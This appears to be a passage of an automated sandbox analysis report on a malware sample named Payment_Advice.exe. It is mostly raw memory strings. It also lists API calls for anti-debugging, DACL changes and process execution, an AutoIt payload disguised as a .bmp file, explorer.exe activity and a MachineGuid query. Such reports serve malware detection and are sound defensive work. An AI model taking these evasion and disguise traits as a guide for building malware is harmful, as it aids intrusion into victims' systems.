Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +l$\+	memstr_51519d2f-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$$d+l$\+	memstr_bca964ae-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$dvsj	memstr_e2687b00-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$dvsjw	memstr_1a891735-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ph\:c	memstr_f06835f2-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$@pw	memstr_80c5d608-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jd^+l$4	memstr_64ed62b9-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|$,pjd	memstr_652b2bb7-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qqsu3	memstr_d078b3e9-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _][yy	memstr_8a26547b-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$8u-	memstr_40171917-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @ucj	memstr_d5af7782-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$hsv	memstr_84fd7a0c-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l$<3<	memstr_86b4256b-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e(3d$	memstr_3abedc0f-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m43l$	memstr_aba957e5-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ],3\$	memstr_0512adc1-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e$3d$h3t$@3\$d	memstr_9d70b8b1-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3t$\3t$`3\$d3d$h	memstr_3b24c2ed-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$!	memstr_bc69eec4-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$"	memstr_ee8d67aa-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$#	memstr_1023134d-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$0	memstr_c47957b2-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$1	memstr_63b6f2be-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$2	memstr_30d51149-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0d$3j	memstr_8c19b0a5-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c0d$3j	memstr_2a5dcccc-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u3hx:c	memstr_f03d2427-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: suvwt	memstr_6bf962d4-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|$8suvwt	memstr_3a65d753-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|$@j@	memstr_07a3b750-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: z3l$	memstr_cd341c0b-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$$3l$0	memstr_5aadfe02-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l$ 3l$	memstr_db6ccd99-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: w83w$3w	memstr_2b00497b-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 3w 373w	memstr_cc98a12d-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$(3t$	memstr_f50b7f59-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$,@#	memstr_feedc4ba-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$03t	memstr_b679ae16-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$,3t	memstr_a6f9c0e2-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$twj8[	memstr_0c187142-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tfv-j@y;	memstr_c5e69b98-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \$hvw	memstr_bb7de386-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?vuuj@^+	memstr_3709732a-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$xwj?_	memstr_e9989e7a-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vzj@[+	memstr_59273d9f-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$ pv	memstr_b027fe0e-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t7v"j@z;	memstr_b2f81c30-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t9vj@^+	memstr_c7ffd2cd-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j"zf;	memstr_106a78ed-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u(f9v	memstr_59ffc9ae-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l$xbv3	memstr_9dcdba02-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tj-xf	memstr_1f4e13f6-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: yy_^[	memstr_b1a79d5c-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pssssssh	memstr_3f3b535b-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: suvw3	memstr_95e2666f-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t_hl<c	memstr_aa63e163-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t_hl<cv	memstr_ba30a2a3-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h`<cv	memstr_10ae30fe-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$4(=c	memstr_44b99768-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$8d=c	memstr_0ad968fb-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$<t=c	memstr_415537d4-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$@h=c	memstr_5d9cd98a-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$d8>c	memstr_23979bb1-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$hp>c	memstr_b69c3849-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$lh>c	memstr_8b3a45af-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0cssj	memstr_72979969-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tysswv	memstr_11ade21d-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pwhhbc	memstr_a8e1acfa-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0c_^][	memstr_0a100e78-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0cswss	memstr_5cd02a26-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0csuus	memstr_787768c0-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pjvh`	memstr_19191b03-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: u'hcch	memstr_d55cdaee-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _]^[y	memstr_f83f5089-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$<ps	memstr_5698cbe8-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l$$+d$	memstr_5b7b4e70-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hsuvw	memstr_d017d711-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$<pv	memstr_62f2d7dc-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$$+l$	memstr_79f2592f-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vwjd_	memstr_8f07b103-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0cj5h	memstr_35c026d6-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ppwvj	memstr_509db1b4-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t/h`#a	memstr_6175fa0b-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9{pr	memstr_b14d9a62-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,9{pr	memstr_661411d1-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xlvjj	memstr_c01caa3c-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;l$ r	memstr_681d8102-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9t$ vl	memstr_1dd315c4-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;t$ r	memstr_5cf1ef6a-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;l$ s	memstr_6623bba6-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;d$ r	memstr_24c10e94-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #d$$p	memstr_0fc4fbbb-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c#\$$	memstr_97a59ad0-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^_][y	memstr_e00360d3-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: }ucwjs	memstr_6e311578-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qqsvw	memstr_30b0b7a7-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h`#ah	memstr_209cf0db-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$$suv	memstr_f82dd867-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uxf9y	memstr_db90ca1d-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9uxf9y	memstr_dde4cafd-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$,h2	memstr_2a8ac4a3-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t=@~	memstr_7dc9ff98-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dltf+	memstr_d608e69c-5
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dkvwu	memstr_365eb7da-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: th9.ud	memstr_4f84588f-0
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$$t&w	memstr_e13fe8b2-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <k_^][	memstr_44b5e5bb-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \l_^[	memstr_5c6502a5-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|$,t	memstr_3d8704f0-e
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s?;n\|t:	memstr_d77cd50b-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h-s*j	memstr_22917339-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y+l$	memstr_23269f36-7
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f\|psw	memstr_0d81c729-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rv9\|$	memstr_35c56ca1-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: h-s.j	memstr_70063f97-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ju/uq	memstr_1a6b4e0c-8
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t$ ;l$(r	memstr_24f9725e-6
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$ ;t$$r	memstr_1a517423-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y+l$0	memstr_0aa423d6-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$8pw	memstr_b0bc0efa-a
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \$@uv	memstr_94928dd3-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;l$,\|3;	memstr_3ff74dce-c
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: y+l$4	memstr_5c1410f4-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$0j$y+	memstr_f9427bf6-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$,y+	memstr_677ac659-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j y+l$0	memstr_4472a18b-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ro9\|$(sa	memstr_c2e66c4b-3
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$8pq	memstr_3e754682-1
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tdf9+tr	memstr_aa1bf8f5-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a;t$$	memstr_f9ab006c-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kd$ a;	memstr_1927e7db-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$0@f	memstr_b8fc94a9-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _suvw	memstr_2409cb2a-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: d$0pje	memstr_3fe3b637-4
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^(^[y	memstr_6d43acb7-f
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tj9o ue9o	memstr_0ef7e557-d
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: uuuuj	memstr_b7e9103e-b
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hpfcv	memstr_225e4ed6-2
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j xf9	memstr_09e9f52b-9
Source: Payment_Advice.exe, 00000000.00000003.1373244279.0000000006FC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hpfcv	memstr_66a836dc-5

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

6_2_001D1A91

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_00173312 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_00173312

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001DEB81 mouse_event,

6_2_001DEB81

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001D1EF3 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_001D1EF3

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001D13F2 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_001D13F2

Source: Payment_Advice.exe, 00000000.00000003.1414188164.000000000788F000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmp, ewdbwwfpdh.bmp.0.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: ewdbwwfpdh.bmp, 00000006.00000003.1603000018.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1603076190.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1601700548.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: ewdbwwfpdh.bmp, explorer.exe, 0000000F.00000002.3850804547.00000000044D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.1592153566.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.000000000936E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000F.00000000.1584312886.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3843273425.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000002.3842529276.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: ewdbwwfpdh.bmp, 00000006.00000003.1601348945.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540709138.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, ewdbwwfpdh.bmp, 00000006.00000003.1540652612.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: If WinGetText("Program Manager") = "0" Then
Source: explorer.exe, 0000000F.00000002.3843273425.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.1584701050.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: fjrpidauk.jpg.0.dr	Binary or memory string: If WinGetText("Program Manager") = "0" Then
Source: explorer.exe, 0000000F.00000002.3843273425.0000000001090000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000F.00000000.1584701050.0000000001090000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000F.00000000.1592153566.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.2284163967.000000000936E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.3856158250.000000000936E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd]1Q

Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	0_2_0051AF0F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,	16_2_00A46854
Source: C:\Windows\SysWOW64\cmd.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	16_2_00A48572
Source: C:\Windows\SysWOW64\cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	16_2_00A49310

Source: C:\Users\user\Desktop\Payment_Advice.exe

Code function: 0_2_0051F654 cpuid

0_2_0051F654

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Payment_Advice.exe

